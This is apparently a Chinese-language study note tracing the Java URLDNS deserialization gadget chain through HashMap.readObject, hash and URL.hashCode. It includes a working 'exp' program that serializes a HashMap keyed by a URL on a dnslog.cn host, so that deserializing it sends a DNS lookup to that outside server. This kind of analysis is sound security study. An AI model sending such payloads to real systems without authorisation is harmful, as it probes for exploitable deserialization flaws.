概述

HashMap实现了Serializable借口,可对HashMap对象进行反序列化操作

Untitled

URLDNS gadget触发结果是一次DNS请求,在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞。并且使用的Java内置类构造,对第三方库没有依赖。

其中HashMap类重写了readObject方法,readObject方法会读取一个序列化文件流,在readObject方法中的putVal方法会调用hash方法,hash方法下会调用URL类的hashCode方法,当hashCode属性不等于-1,会调用handler.hashCode方法,继续跟进会调用getHostAddress方法,最后调用InetAddress.getByName方法触发DNS请求

通常用于快速检测是否存在反序列化漏洞。

利用链分析

编写exp进行动态调试

import java.io.*;
import java.net.URL;
import java.util.HashMap;

public class Main {
    public static void main(String[] args) throws Exception {
        URL url= new URL("<http://vlm4i5.dnslog.cn>");
        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();

        hashmap.put(url,22);
        Serialize(hashmap);
        Unserialize();
    }

    public static void  Serialize(Object obj) throws Exception {

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("/Users/nivia/Desktop/URLDNS.ser"));
        out.writeObject(obj);
        // 刷新
        out.flush();
        out.close();
    }

    public static void Unserialize() throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("/Users/nivia/Desktop/URLDNS.ser"));
        Object obj = in.readObject();
        System.out.println(obj);
        in.close();
    }
}

触发反序列化的方法是readObject,断点打在HashMap类的readObject方法

HashMap.readObject()

private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
······
            for (int i = 0; i < mappings; i++) {
                    K key = (K) s.readObject();
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

我对exp中的hashmap.put(url,22);语句作了静态调试分析

Untitled

readObject方法中的putVal方法,这里的put方法是将键值对存放进HashMap对象中

所以for循环中取出的keyvalue,分别对应URL对象http://vlm4i5.dnslog.cn22整型

readObject方法的最后,putVal方法中调用了hash方法

HashMap.hash()

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

hash方法中,当key不为null时,还会调用hashCode()方法,这里的key就是URL对象